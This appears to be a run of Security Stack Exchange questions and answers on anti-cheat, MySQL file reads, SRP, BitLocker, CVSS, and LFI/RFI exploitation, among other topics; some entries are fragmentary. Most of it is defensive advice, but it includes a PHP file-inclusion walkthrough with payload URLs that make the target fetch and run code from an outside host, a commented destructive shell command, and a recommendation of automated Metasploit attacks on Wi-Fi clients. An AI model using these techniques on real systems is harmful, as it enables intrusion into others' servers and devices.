Black Lists
Behavior Analysis

When you describe the "Protected Input Path", you are effectively describing a white list. Considering the amount of hardware input devices, the manufactures, and so on, the task could be difficult. While I could see some names pushing for such an idea, others would likely be against it, because:

This leads to a loss of cross platform capabilities.
Who is going to manage all of this?
What about the costs of managing this?
How do people go about getting devices "approved"?
Is it going to be an open specification?

Bypassing memory protections of processes in an OS such as Windows can come across easy enough as cycling does for others. Valve Corporation had discussed the idea of a rootkit for Valve Anti-Cheat, but that idea was never realized outside of academic discussions. Battleye says the following about it's product:

  Fully proactive kernel-based protection system and fast dynamic and
  permanent scanning of the player’s system using specific and
  heuristic/generic detection routines for maximum effectiveness.

You can take that to mean whatever you like, but from my understanding, it's effectively a rootkit (just lacking the manipulation capabilities).

I particularly had fun once with a free online FPS title. The title in question included a third-party anti-cheat, where if you suspended the child process responsible for cheat-detection, you effectively could run whatever cheats you wanted to.

tl;dr: It may eventually come about with competitive gaming, but it's a case of cat and mouse, and there are currently easier solutions which include "global bans" and so on.


Why does MYSQL's LOAD FILE only read some files and not others? As part of an assessment I'm using mysql to poke around at a compromised hosts' filesystem.  As I seemed to remember from the last time I played with it, some files can be read (eg. /etc/passwd) and others cannot (/etc/shells.)

The mysql documentation specifically says: For security reasons, when reading text files located on the server, the files must either reside in the database directory or be readable by all...
https://dev.mysql.com/doc/refman/5.6/en/load-data.html

But that doesn't seem to be the case, since both files have the same effective permissions, and ownership and only the former can be read by load_data() or LOAD DATA INFILE.

-rw-r--r--   1 root    root      73 Feb 13  2013 shells
-rw-r--r--   1 root    root    1.7K Oct  9 04:49 passwd

mysql> select load_file("/etc/passwd");
| load_file("/etc/passwd")
| root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

...

mysql> select load_file("/etc/shells");
+--------------------------+
| load_file("/etc/shells") |
+--------------------------+
| NULL                     |
+--------------------------+
1 row in set (0.00 sec)

How is this discrimination performed and is it something that can be even further restricted?  (I know you can disable load data infile, but lets say you couldn't due to an ETL or something, how would you selectively enforce this on /etc/passwd for instance.)

It looks like this is the apparmor conundrum.  I had "stopped" apparmor, and retested, but it didn't seem to matter.

Enabling APPARMOR_ENABLE_AAEVENTD so I could get logs on apparmor related denys:

vi /etc/apparmor/subdomain.conf

and updated the line:

APPARMOR_ENABLE_AAEVENTD="yes"

and restarted apparmor

ori@myamdbox:/etc/apparmor$ sudo service apparmor restart

I then reran the load_file("/etc/shells") above and the log spewed out:

Oct 10 04:03:13 myamdbox kernel: [85739.145281] type=1400 audit(1381374193.268:132): apparmor="DENIED" operation="open" parent=1 profile="/usr/sbin/mysqld" name="/etc/shells" pid=22485 comm="mysqld" requested_mask="r" denied_mask="r" fsuid=115 ouid=0

Tearing down the profile for a test worked, so it's certainly the culprit.

To fix it simply I opened /etc/apparmor.d/usr.sbin.mysqld

and added the line:

...

/etc/shells r,

And yep, it works.

mysql> select load_file("/etc/shells");
+---------------------------------------------------------------------------+
| load_file("/etc/shells")                                                  |
+---------------------------------------------------------------------------+
| # /etc/shells: valid login shells
/bin/sh
/bin/dash
/bin/bash
/bin/rbash
|
+---------------------------------------------------------------------------+
1 row in set (0.00 sec)

To do the opposite I need only find the reference in the apparmor config and remove it.

Thanks Lekensteyn!


There is a recommanded solution to protect SRP verifier to be used if the DB is leaked? We working on a new website we would like to use SRP protocol. So the salt and verifier are sent to the server, and in theory the server store them like that in a database.
If the DB is leaked, attacker could surely brute-force a user password and check with the verifier/salt (even with a good KDF like Argon2).
We would like to prevent this, there is a recommended solution please?

My current solution:

On RESTful service start, a master password is manually inputted, then hashed with Argon2 multiple time (XOR each password's byte to get the number, up to 255). This master password hash is used to encrypt any sensitive information with AES-GCM before storing them in the DB (salt, SRP verifier).

With this method, if the DB is leaked, even with source code or harddrive, the attacker can't exploit SRP verifier. The only attack I have in mind, would be to install a rootkit and to dump memory to found the master password.

As with databases of password hashes, the traditional approach to prevent dictionary based attacks is to make computing hashes (or in this case verifiers) from passwords costly enough.

In the case of SRP, the obvious way to do this is to choose a group which is large enough. (In any case, it must be large enough to resist cryptanalysis, as with RSA or DH.)

Obviously, increasing the size of the group will also slow down both clients and servers.

Another possibility is to replace SHA-1 with another hash function as is suggested in section 3.2 of RFC 2945. The salted SHA-1 construct used in SRP-SHA1 can be replaced by another message digest, or by HMAC or by a password hashing function.

In my opinion, using a good password hashing function such as Argon2 or BCrypt or PBKDF2 instead of SHA-1 makes sense. Doing this increase the cost of dictionary attacks without having any impact on server performance. (Client performance is impacted though.) On the other hand, this does not improve resistance to cryptanalysis.

SRP is designed to protect passwords in a threat model which assumes an attacker can gain access to the memory of the server. Thus, SRP is designed to be secure in a context where an attacker would have access to your master password.

This above also means SRP actually competes with password managers, the later being a more widely deployed solution. SRP is mostly useless if your users already use password managers with a unique password for each site.

Encrypting stored verifiers is essentially the same as "peppering" a password database. This adds quite a lot of complexity. Whether this improves the security of the system is not obvious.

This only makes sense if you assume the attacker has access to the database but not to the server (while using SRP only makes sense if you assume the attacker has access to the server), your master password has good entropy and your encryption code is properly written (IVs are properly generated...)

Regarding your usage of Argons2, you should make the parameters fixed: use as much memory and processing power as you can afford. Do not make the parameters depend on the password.


On public WiFi, how does a VPN/tunnel protect me more than secure protocols? While I'm at a coffee shop, I want to protect my data from inspection and manipulation, including destinations. In other words, the barista can only see that I am using bandwidth and cannot (meaningfully) manipulate or redirect me. So I find a VPN (tunnel) provider that I trust. I still see two potential issues:

Bootstrapping. I need to sign into a captive portal, often over http, to get internet access in the first place. Surely until I establish the VPN connection my communication is vulnerable?
Redundancy. If I use secure protocols for each task (https, sftp, ssh, Tor, encrypted XMPP...), surely my connection is just as safe without a tunnel?

Is there an implementation detail I'm missing? Or is it a matter of convenience (once the tunnel is established, I don't have to confirm each and every subsequent connection is secure)?

The redundancy issue isn't that big a deal in most cases. In any case, TLS requires careful configuration to be secure and this isn't always the case so using a VPN as well rarely hurts.

The captive portal issue though is, indeed, an ongoing problem. The best solution is to use a configuration that ONLY allows traffic from the VPN client to reach the Internet directly, everything else is forced to wait for the VPN to be active. There are various ways to do that but few clients implement them or at least implement them in a way that provides clear security. The CISCO client is one.

To mitigate the impact, you can configure the OS to only allow traffic to exit via the VPN which often uses a virtual network. You can also make sure that as much software as possible is completely closed before connecting to an untrusted Wi-Fi connection.


Using external OAauth Authentication Service, how to manage the users's relations I'm trying to create an API and a website client for it. Lately I've been reading a lot about OAuth2 as a security mechanism and companies that offers authentication as a service such as auth0.com or even Azure active Directory and I can see the advantages in using them

Because I'm used to always having the users in the same database and tables with  relationships to the Users table in the form of One to Many such as below

public class User
    {
        public string subjectId { get; set; }

        public virtual List<Invoice> Invoices { get; set; }
        /*
        More properties in here
        */
    }

public class Invoice
    {
        public int InvoiceId { get; set; }
        public string PaymentNumber { get; set; }
        public DateTime Date { get; set; }
        public double Amount { get; set; }
        public string Description { get; set; }

        public virtual User User { get; set; }
    }

My questions is then.

If the users are stored in an external authentication service such as Auth0.com,

How the Invoice class will handle the relation to the user?
Would it be just adding a new property subjectId in the Invoice table and this will take the value of whatever id the authentication service assigned?

In the latter case, would the class Invoice be something like below?

public class Invoice
        {
            public int InvoiceId { get; set; }
            public string PaymentNumber { get; set; }
            public DateTime Date { get; set; }
            public double Amount { get; set; }
            public string Description { get; set; }

            public string SubjectId{get;set;}
        }

Also, if the users are stored someplace else, how do you make a query like,

Select * from Users u inner join Invoices i where Users.Name='John Doe' and i.Date>Somedate.

With OAuth (including OAuth2 or OpenID for that matter) you would still have a local user entity. Where you store information about this user is up to you. In the case of your example, you would create a user table in your database, just as you normally would.

What is different is that you do not store authentication information (such as passwords1) in your user table, because, with OAuth, you offload the authentication part to the OAuth provider and, as a result, don't need this information.

Any data you need in your local application will still be stored in locally.

1 There is some debate on whether or not 'remember me' information should be stored locally or that a round trip to the OAuth provider should be made instead.


Windows security policy analysis tool I have several security policy files (INF exported from different Windows machines) which I need to audit.
Is there any automatic tool you know of, that can analyse those files according to best practice that I'll provide?

Microsoft Security Baseline Analyzer and Security Compliance Manager are Microsoft's tools for this.

SCM is likely the one you are looking for...


How Can I know Which Files are Transfered From my System through team viewer?Unable to understand log files Somebody Stole something from my system but unfortunatlly I cant trace what he hacked..
my system config: windows 10
                  team viwer 12

please help me

First of all, make sure you secure the TeamViewer log files.

Did you find the two files called

Connections_incoming.txt
TeamViewerX_Logfile.log

on your machine? This is where TeamViewer logs its connections.

If you cannot find any log entries there, your suspicion about someone stealing files via TeamViewer may be wrong and you have to look for a different hole in your system.


Can CSRF attacks steal log in information? Sorry very new to security.

If a user is logged into a secure site (credentials are SSN and a password) and then is victim to a CSRF, can their log in information be at risk?

A CSRF attack is a blind attack where the attacker can control the request sent to the server, but due to the same origin policy cannot get the contents of the HTTP response. To get the response one would need something like Cross-Site-Scripting or DNS-Rebinding attacks. That's at least the case with the default behavior, but if the target server employs a (non-default) wide open CORS policy reading the response from an CSRF attack using XMLHttpRequest might be possible too.

But one can still cause lots of damage, like changing the DNS settings in a router and from then on effectively be the man in the middle. See How millions of DSL modems were hacked in Brazil....


How does Bitlocker + TPM prevent me seeing the HDD contents with another OS? I've googled the heck out of this, and have read multiple related questions on this site, but I'm still missing a crucial piece of the puzzle.

I have a (work) laptop with Win10 Pro which is encrypted with Bitlocker.
For quite a while I didn't even realise it was encrypted because it doesn't ask for a password on a cold boot. (We used to use TrueCrypt on all of our laptops, so I was accustomed to using a password.)
I then decided to check the system and booted it with a Linux live CD. I was able to see the partitions on the disk but was unable to mount the main one - a quick bit of hex dumping showed me that the main NTFS partition was indeed encrypted.

Now, the OS will happily cold-boot all the way to the Windows login screen with NO input from the user (i.e. no PIN/password), which from my googling I have learned happens by dint of the OS automagically extracting the encryption key from the TPM.

What's bothering me is this: what's to stop another bit of code (e.g. Linux) from asking the TPM for the HDD encryption key? Even assuming a secret MS key is required, this key surely must be present in the boot partition somewhere, and my simplistic idea of how this might be achieved would be for a VM (on a USB key?) to execute the boot loader until the boot sequence interacts with the TPM and bingo the encryption key is no longer secret... This isn't rocket science though, and clearly it can't be this easy or Bitlocker+TPM would be an utter waste of time. So - I can't have a correct picture of what's going on, but I've tried and failed to find out how it really works...

Can anyone provide the insight I'm missing? Thanks in advance!

[Edit: for clarity, I'm mainly thinking about the case where the laptop gets stolen. Like many people, my laptop spends a lot of its time in my bag in sleep mode, so let's assume it's sleeping when stolen - this has implications for how much a move to TPM+PIN would help, but I don't think it directly changes the fundamentals of the actual question.]

Nothing is stopping this. What the TPM is doing is checking the integrity of various boot-time components and only unsealing an internal password if these components have not been tampered with. It can be additionally configured to require a PIN code, but that is not strictly necessary. The reason the drive does not automatically decrypt on a Linux system is simply because Windows is communicating with the TPM, asking it to attest the state of the system.

The key is kept sealed inside the TPM itself. The purpose is not to prevent you from decrypting the disk if you have both the computer and the drive, but to make it impossible to decrypt the disk if you have only the storage drive but not the computer itself. If you have physical access to the entire device, including both the drive and the TPM, you will be able to decrypt the drive.


Autofilling sensitive information for publicly available form We are in the process of designing an app which, simply put, will allow people to accept payments easily.

The customer won't need an account and we'll be linking customer data (name, address, and phone) via emails used through their payments e.g.

When the user fills out the data and hits "Continue" they are prompted to fill out their name, address, and phone. If the user is a new customer, we have no issues, they'll fill it all in and be on their day. Our issue is with existing customers, our plan was to autofill the information with what we have in our records and allow them to edit it as they deem appropriate.

Now, obviously, after some consideration we realised that it wouldn't be ideal to do this because we'd essentially be doxxing our customers by showing all their info without some proper authentication. Someone could just sit there entering emails and view people's data.

Our immediate second thought was to show the redacted version of the info we have (last 4 of the phone or partial address) and let the customer select if they want to use the partially shown data. We'd never publicly show that info but in the backend we'd fully use that data.

So, my questions are as follows:

Would my second suggestion be valid/safe?
If not, what alternatives do I have?

A few clarifying points:

It wouldn't be possible to purchase on behalf of someone because you'd need to enter your card details on each purchase. That wouldn't be prefilled.
Customers are stored against organisations, organisations are the only people that can view customer information, specifically, their customers only.
The redacted information would purely be used as a convenience, it will only ever be used to quick fill info such as names and addresses, nothing like card details.

I was going to post this on UX but ultimately decided this was more of a security issue than a UX issue.

The customer won't need an account

This requirement is fundamentally inconsistent with your intent to store personal [and payment?] data for customers and have it be re-usable on subsequent purchases.

If you're storing that information for re-use, then it needs to be protected by some form of authentication - password, SMS token, cookies, something that the customer presents to validate their ownership of that personal information.  Otherwise, as you say, anyone can pull it up.

Redacted information doesn't work properly as an authenticator - it's intent as you've described it to keep honest people honest, so that someone seeing the wrong details will abort their purchase.  But with dishonest people, with malicious purchases, that helps you not at all - they can click 'Yes' to charge someone else's account.  If delivery isn't tied to that account's address, then they can try to gain delivery; if it is, they can still grief legitimate customers with bogus purchases.


Common practice when CVSS v2 score over represents severity We're formalizing our vulnerability management process and decided to use CVSS V2 to help decide what vulnerabilities to remediate. We're running into a situation where a vulnerability's severity score has crossed our remediation threshold, but the vulnerability will not, in practice, impact us.

The vulnerability that we're running into is CVE-2004-0230, which has the following CVSS vector string after adding environment metrics: AV:N/AC:L/Au:N/C:N/I:N/A:P/E:F/RL:TF/RC:C/CDP:L/TD:H/CR:ND/IR:ND/AR:M

In theory, this vulnerability could affect pretty much all of our systems (TD of high). In practice, we don't typically have long standing connections, and we don't use BGP on the vulnerable system. This lwn article makes it clear that this is just something we don't have to worry about.

If you (or your company) have ever run into a similar scenario, do you:

Remediate the vulnerability (since the CVSS score is above a remediation threshold)? We plan to have remediation have one of three outcomes; it could be mitigated, fixed or the risk could be formally accepted (which is what would happen in this case).
Modify the CVSS metrics to more closely resemble the risk associated with the vulnerability? (TD moved to low, or something similar)
Do something else?

If you are correct that the vulnerability really doesn't effect your systems then the proper thing in my opinion is as you mentioned.  The business should formally accept the risk (which is negligible if you are correct in your assuming your systems are not effected).


PC Isolation on network I believe I have my answer but I just want to be sure. Basically I repair computers, most of unknown origins. Of course some could have viruses and such so I was wondering what the most efficient way of achieving some sort of isolation would be. I seen someone recommend having a second router. This interested me because I do actually have 2 routers one running on 192.168.1.x (the main router) then a private router in the back of my house which I use running on 192.168.2.x I have noticed that I can't talk to the devices on router 1 and vice versa. Will setting up a 3rd router on 192.168.3.x provide sufficient isolation (of course I would only connect the test machines to this). Currently I try to avoid any sort of network access on most machines however in some cases (repairing others PCs) this may not be an option. If this isn't a sufficient solution then can you please provide me with one and preferably one that won't kill me (cost wise) assuming the recommendation includes purchasing hardware firewalls for a DMZ or something alike.

On a side note, I'm aware of some viruses which like to stick around even after a simple formatting. Will a zero fill tool like autoclave get rid of those? Is there another method to ensure that an HDD is clean of all viruses?

Firstly; the devices connected to multiple routers not being able to communicate; is most probably due to a configuration problem. It could also be due to the router being too limited in capability that it was not able to perform as you need it to.

However, be it as it is, what you need is traffic limitation for malware on one computer too.

What the malware could do in theory is that it takes over one of the routers too, automatically, then reconfigure it to get connections to the other routers/computers... as router firmware is not exactly the pinnacle of secure software, and the average home user makes next to no software updates ever for a router, it might be very easy.

This is all dependent upon "if" the malware is programmed to do that, and knows vulnerabilities for your router models of course.

What is "sufficient" for you is something we can't know - are you willing to take the risk of getting router-hacking malware, or would you invest time and money to get a more secure router? Only you can decide that.

Regarding the more secure options, there are several business-class device vendors that actually fix security bugs and make updates available regularly, and there also are open systems like OpnSense which can be installed on your own (capable) device (and also are maintained well).

If you're looking for an "if you do this, then you're fine", then I have to disappoint you - even with the best possible security, there is always some risk.

Finally, about autoclave (which normally should be in a separate question): Stop right now. The developer ended work on it about 15 years ago, but the world moved on with newer technologies.

If you want something that is doing the same work (which is not sufficient to completely wipe a hard disk!), install some Linux on an Usb drive, plug it in in the computer you want to wipe, and use dd with /dev/zero on all hard disks.

The problems with this: There are SSDs with wear levelling etc.,
A solution you would like is to use ATAs SecureErase feature. Depending on Bios etc. not entirely straightforward. Then each modern hard disk has areas that can only be accessed with some vendor-specific commands, normally used for storing various metadata and/or being reserve space. Malware data can be there too. And finally, malware doesn't need to be on the hard disk at all.

Making 100% sure that there is no malware, without eg. melting the computer, is just impossible.


How to retrieve a site whose server is running Linux I'm struggling to find a way to retrieve through Google a list of sites having Linux as their server operating system.

Actually, I'd like to be able to test the following command:

nmap -O www.....(website)

Through that command I should be able to know (roughly) if a specific site is running Linux or any other operating system (fingerprinting technique)

In a nutshell, I don't know of a site running Linux but I'd like to find one.

How would you go about it?

I tried to pick up a site and do some port scanning through nmap but I only got results showing Windows as OS.

It's just for study purposes.

Thanks a lot

If you actually want to just get a list of which sites run Linux, visit netcraft.com, which gives server types, uptime and a wide range of other statistics.


What would be an example of 'AI' in your average security appliance? It seems that more and more Anti-Virus and other security related business solutions are adding the 'AI' and 'machine learning' buzzwords to their marketing repertoire. However, the only 'AI' I ever saw working was the RITA project, which is available for free.

I was wondering if there really are useful applications to the machine learning that can help detect an intrusion on a network, because it seems that currently, most detection engines are still based on a blacklist of IOC (Indicators of Compromise). If there are popular ways of using AI & machine learning right now, could someone give an example of the detection process?

Some antivirus use machine learning (ML) to train their software to classify malware.  They can use either supervised or unsupervised ML methods.  The malware detection software can be "trained" to recognize heuristics and behavior of malware by observing known malware running in a sandbox (dynamic analysis), or static analysis can be performed by looking at source code, information flow graphs, function calls, and the like. When the observation, training, and classification is done by software without the intervention of humans, it is often said that it uses AI or ML.  Modern methods like this are generally more effective and adaptable than the old method of comparing signatures, but are also more resource-hungry.  A hybrid method is often used where AI and ML techniques are applied to classify malware on dedicated hardware/software platforms and then the definitions/signatures are updated and pushed out to end users via updates.


Can Skype chat be protected from snooping? Are there safe alternatives? I use Skype a lot. With all of my clients, staff, contractors and friends, however, the acquisition by Microsoft worries me, as two of my clients are direct MS competitors, and I often work on long projects which are in development for over a year before they are launched to the public and are therefore pretty sensitive.

It's most likely paranoia, but I started wondering if there was a way to easily encrypt the chat so that the server wouldn't see anything useful.

Does this kind of thing exist?

If not are there any alternatives people can think of?

There have been several suggestions that skype is indeed backdoored and evesdroppable. If your concerned about it because Microsoft is now the owner, there are plenty of other alternatives to Skype which I would suggest as the easiest and cleanest solution (besides, if MS is your competitor, why would you buy their services). Some of the alternatives like Jitsi document their security quite well and are open source which lets you check if they're doing anything sus.

To answer your question about the chat. I came across this guide which is a plugin for pidgin that allows for encrypted chat messaging and Skype functionality, but I don't think it improves the security of the calls made. The other party will obviously need the plugins installed as well but if your serious about improving the security then it should be worth while.

As a side note, @TildalWave pointed out in the chat Microsoft brags about an independent Skype security review however the paper they brag about is dated 2005 from before Microsoft bought Skype and before they implemented changes to encryption protocol from peer-to-peer key distribution to centralized public key distribution.


Airbase-ng & Metasploit the perfect pair So if I am running an airbase-ng soft AP, I have several clients connecting to me. I can run metasploit against them once they are connected manually, but that is oh too much effort.

Is there anyway to automatically run metasploit against any connecting clients. I have looked into the autopwn module, however, this is deprecated.

Can anyone suggest a future proof automated method of metasploitin' connected clients. Something that I could theoretically leave alone once setup.

What you are looking for is Karmetasploit. It is the integration of Karma with MSF to offer a variety of network services to wifi clients.

Several tutorials and videos are available.

In addition, there are hardware solutions, like the wifi-pineapple from Hak9.


2-weekly cell phone (android) browsing to columbus . shortest-route . com Last month I resetted my cell phone, also immediately installed Malwarebytes and Avast. Every scan until now was/is safe.

But I also have a virus scanner which is included in my ISP safety package (Telenet Safeguard - Not a lot is known, but it appears to be based on Bitdefender, although no settings or user info is really available (only very simple logs and 'on/off'))

This last virus scanner (Telenet Safeguard) is every 2 weeks (sunday morning) blocking 10 tries to browse to columbus . shortest-route . com (without the spaces). Probably 10 is the retry count.

When googling this, it seems to be related to malware, but the indications are not that clear for me.

I checked my phone now already with multiple virus scanners (Malwarebytes, Avast, Bitdefender), but all scans are clear.

So my question is quite simple, is this something known? My cell phone is a Samsung device running Android.

And if not known, how can I check what process (or app) is doing this. Because it definitely isn't an action done by me on my phone.

Thanks in advance
BLE

Found it out myself. It appears to be related to mails coming from Procter & Gamble. When opening them, this 'browse attempt' is blocked.


nikto's results differ from other vulnerability scanners , is it more or less accurate? I was doing some scanning on a web application, I used OWASP zap and Nessus. The risks that these two detected were medium to low, very few vulnerabilities.

Then I tried nikto, and the results were huge. It detected potential risks with the database and other "Major security problems"  I was just wondering because I know these scanners detect potential risks that you can try to exploit it's not 100% accurate but which one of the three is the best to rely on as a starting point when you perform a pen testing?

Why are you looking for the best "starting point"? They all test for different things and each behaves differently. Regardless of the tool, you still need to verify the results, and each tool will be better at some sites than others.

The best one to start with is the one that offers the best value to you for that web application. Then run the others knowing the weaknesses they might have for your application.


Using pattern matching to make a port more secure I am planning to make a web application deployed on a port more secure by detecting the pattern of the request an then comparing it with the patern next time that IP tries to connect.Any ways to move forward.

Sounds a lot like SYN Cookies.  This is a method to prevent TCP SYN DoS attacks.  Basically, when the server receives a TCP SYN packet, it creates a "cookie" with a hash of the values (specifically the source and sequence number), and then sends the ACK but does not create a "half open" connection.  When the server receives a SYNC ACK, it uses the information to look for a corresponding "cookie", if found the connection is legit, if not the connection is not legit.

There are some interesting technical limitations on this method.


Local certification authority and certificate chain I know that I can set up a local certification authority for a local network. I can issue certificates for all the devices in my network, and as long as they trust me, they can use such certificates to authenticate each other. External devices, instead, do not trust me, and so they cannot accept the certificates provided by my internal devices.

My question is

if my local certification authority would be provided with a certificate issued by an internationally trusted CA, external devices would be able to reconstruct the certificate chain and so, in the end, accept the certificates I issued as valid?

If my local certification authority would be provided with a
  certificate issued by an internationally trusted CA, external devices
  would be able to reconstruct the certificate chain and so, in the end,
  accept the certificates I issued as valid?

Yes. This would turn you into an intermediate CA (provided the required key usages have been set), which generally should be trusted with all the responsibility that comes with that task.

Note that this basically turns you into a (nearly) fully-featured CA and you really don't want that. Besides that, there are companies that sell you your own PKI (presumably for automated server setup).


What is the -sk ending for ssh key types? ssh-keygen has the following options for a key type (-t):
dsa | ecdsa | ecdsa-sk | ed25519 | ed25519-sk | rsa
I am not familiar with the -sk notation and it's not explained in the man page.
What does it mean?

In OpenSSH FIDO devices are supported by new public
key types "ecdsa-sk" and "ed25519-sk", along with corresponding
certificate types.
To quote:

FIDO/U2F Support

This release adds support for FIDO/U2F hardware authenticators to
OpenSSH. U2F/FIDO are open standards for inexpensive two-factor
authentication hardware that are widely used for website
authentication.  In OpenSSH FIDO devices are supported by new public
key types "ecdsa-sk" and "ed25519-sk", along with corresponding
certificate types.

Source: https://www.openssh.com/txt/release-8.2


Exploit LFI bug when a ".inc.php" is appended to the file name? I'm trying to exploit a LFI bug. My link looks like this:

http://example.com/challenge/mypage.php?page=test

When I put /etc/passwd instead of test it shows me:

  Warning: include() [function.include]: Failed opening
  '/etc/passwd.inc.php' for inclusion
  (include_path='.:/opt/alt/php53/usr/share/pear:/opt/alt/php53/usr/share/php')

As you can see, by default it concats .inc.php to the end of the file. To bypass it, I'm trying to add the null value like this:

http://example.com/challenge/mypage.php?page=/etc/passwd%00

I still get the error, but without .inc.php this time:

  Warning: include() [function.include]: Failed opening '/etc/passwd'
  for inclusion
  (include_path='.:/opt/alt/php53/usr/share/pear:/opt/alt/php53/usr/share/php')

I have even manually added test.inc.php%00 but again I get the same message:

  Warning: include() [function.include]: Failed opening 'test.inc.php'
  for inclusion
  (include_path='.:/opt/alt/php53/usr/share/pear:/opt/alt/php53/usr/share/php')

I tried to check php://input and php://filter and data://text/plain;base64 but that didn't work either.

Do you have any idea for how to exploit this bug?

When I playing with case-sensitive wrappers it's working,

http://example.com/challenge/mypage.php?page=pHp://FilTer/convert.base64-encode/resource=test

the output is base64 encoded string like this :

  PD8KZWNobygnVEVTVCBQQUdFICEhIScpOwo/Pg==

but when I try to read index.php the output is :

http://example.com/challenge/mypage.php?page=pHp://FilTer/convert.base64-encode/resource=index.php%00

  Warning: include() [function.include]: Failed opening 'index.php'
  for inclusion

I think that it's not working because you're hitting a security check.

I ran strace to see what PHP was doing when including a file with a legal name, albeit nonexistent, and a file with an illegal name. It behaves differently:

lstat("/home/lserni/./legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/lserni/legal.inc.php", O_RDONLY) = -1 ENOENT ...
write(2, "PHP Warning:  include(): Failed "..., 154
PHP Warning:  include(): Failed opening 'legal.inc.php' for inclusion...

write(2, "PHP Warning:  include(): Failed "..., 148
PHP Warning:  include(): Failed opening 'illegal' for inclusion...

So from above you can see that the legal file name gets checked on the file system - twice - and an opening attempt is done even if PHP sees that the file doesn't exist (this rated 0.2 kWTF) and issues an error.

The illegal file name issues the same error, but without even trying to check whether the file might be there.

I'm quite confident that if I check in PHP sources I'll find some test that fakes a "this file isn't here" error, when actually PHP decided to not open the file no matter whether it was there or not.

Remote file inclusion

The "file inclusion" vulnerability means that you can send to the server something that will cause it to include() (and execute) a file of your choice. The file can be local (Local File Inclusion or LFI) or remote (RFI).

To exploit a RFI you need a remote file on a different domain; not the one you're testing, but another.

This remote file, not the local ones, must be under your control.

The content of the remote file must be such that the vulnerable server will include it; that is, it must be valid PHP.

The remote file, once included, will execute inside the vulnerable server, and so will have access to its local files (but no longer to the remote ones).

So if the remote file displays the instructions "include('index.php');" or die(file_get_contents('index.php'));, it will read not the index.php of the remote server, but that of the vulnerable server (which is what we want to do).

At the same time, the remote file will execute on the remote server, so we want it to execute some PHP code that will display another PHP code.

For example this is the content of http://www.serni.org/i.inc.php:

<?php
    // The outer code is just a print.

    print <<<INNER_CODE
<?php
    // This is a sample remote file inclusion vulnerability.
    // It will simply count how many files there are in the
    // vulnerable script's directory.

    \$files = count(glob('*.*'));
    print "This folder contains {\$files} files.";

    // Just sayin'.
    // shell_exec("FORMAT A: /Y /AUTOTEST");
INNER_CODE;

If you use http://www.serni.org/i.inc.php as a resource, and the RFI works, the vulnerable page will return the count of files in that directory.

G1mm3 th3 cod3z (TL;DR;DT)

http://example.com/challenge/mypage.php?page=http%3A%2F%2Fwww.serni.org%2Fi

How to defend

Obviously, sanitize your inputs. Or better, whitelist them, and only allow very simple combinations. And unless you need to include remote resources (which happens), set allow_url_fopen to false.

$allowed_resources = '#^[A-Za-z_0-9-]+$#';
$ok = false;
if (preg_match($allowed_resources, $resource)) {
    $actual_file = realpath("external_resources/{$resource}.php");
    // We could verify that actual_file matches _SERVER_ROOT/external...
    if (file_exists($actual_file)) {
        include $actual_file;
        $ok = true;
    }
}
if (!$ok) {
    // We don't want to send back to clients whatever they sent us; that way lie XS vulnerabilities.
    $resource = basename(strip_tags($resource));
    // Mess a little with people's heads.
    die("Warning: include() [function.include]: Failed opening 'C:\\Inetpub\\Resources\\{$resource}.aspx' for inclusion (include_path='C:\\;C:\\WINDOWS;C:\\Program Files\\Nginx;C:\\Python\\Tornado5\\modules')");
}


Is putting an authentication tokens inside the HTML body safe? I have a project, a webapp/website that uses cookies to authenticate users with long randomly generated strings (also with samesite:lax, httponly, secure), however I also have an API which itself needs authentication tokens.

My current design is when the website server authenticates the user it generates the API authToken and injects along with the total initial state of the page. Then the API requests are served with this authToken. Is this flow inherently flawed?

I thought of using an extra HTTP request after page loading to get the API authToken and thus avoid putting it inside the HTML body but that means more slowness since the page contents is usually dependent on the API requests which need an extra HTTP request after the page load to get the API authToken.

I assume the connection is already over HTTPS of course.

Not the best. Defeats the whole reason behind httponly cookies. Namely any JavaScript can read the token and exfiltrate it. It adds a lot of complexity to your threat model.

Instead use the cookie and host the api and static page from the same domain name.

If you cannot redesign the API, then proxy requests from the client -> your frontend -> the api.

When the client hits https://your_frontend/api/* -> you first check their cookie, then you read the API token from your server, append it to the API headers, and proxy the request to the API server.


Is WPA(2)/AES or some derivative really perfectly secure? It is said they are uncrackable for now, but my question is how much uncrackable are they?

Of course, it requires a situation to answer this, so here comes an assumed situation(the worst possible situation for a wifi/anything in security):-

There is a device that is very portable wifi hotspot preloaded with all protocols, encryptions and profiles. Now it is using an "uncrackable" encryption in a public wifi zone, the infamous DEFCON at Las Vegas(or you can take it as BlackHat if you dislike DEFCON), with our wifi spot named something like "Hack if you can" or "The unbreakable network", keeping it on throughout the days of conference. Now, taking out the possibility of anyone gaining hardware access to it, would it be hacked? (It is publicly visible)

If yes, in how much time at the average? If no, why do you think that?

The quick answer is "no".  We know from long experience that nothing is "perfectly" secure.

AES has no significant flaws that we know about today, and has key sizes that are large enough to resist brute force attacks forever.  People have been studying it for a decade, looking for weaknesses, and have only come up with some weak keys, and reduced round attacks.  While we consider the chances unlikely, there is no guarantee that a fatal weakness doesn't exist.

Given the history of breaks so far, I don't think AES will prove to be the weak point of WPA2.

WPA2 is less mature than AES, and while the theories are good, and again nobody's published an exploit yet, we know that most security failures end up being flaws in protocol designs or implementations.

It's ironic that you use the phrase "or derivative" in your question.  Many protocol security flaws are created by implementations that offer backward compatibility.  "Set this flag to upgrade from Version 2 to Version 3" turns out to be exploitable by an attacker far more often than you might think.  WPA2 by itself may be fine, a mythical WPA3 might be fine, but an access point that offers both might hide a fatal flaw.


Is it acceptable to make login name public? I develop a web application where registered users see each others usernames. Log in is performed via HTTPS Basic Authentication based on correct username/password combination. This way an attacker will only need to guess a users password.

Can this be considered a weakness in security? Should I change my login function to accept mail/password combination (because a users mail is more likely to stay secret)? Or is password as sole secret enough?

Having the mail address as the login can make it more difficult for other users on the same system to work out the login name, but data-dumps of accounts hacked elsewhere will definitely include email addresses used to register.

So at best you're trading one (unlikely) attack vector for a worse one. Any gains are not nearly enough to make it worth any development time spent altering that aspect of your application.

In terms of improving security vs. time/cost you're better off looking at 2FA options like OTP for example and requiring more complex passwords and/or periodic password changes.


What is a good way to be alerted of major security patches for software I use? I maintain a few webservers running ubuntu, apache, mysql, and python/django. I update all the libraries quarterly, but I'd like to update more often when a patch for a major vulnerability is released?

Is there any good service to sign up for email alerts?

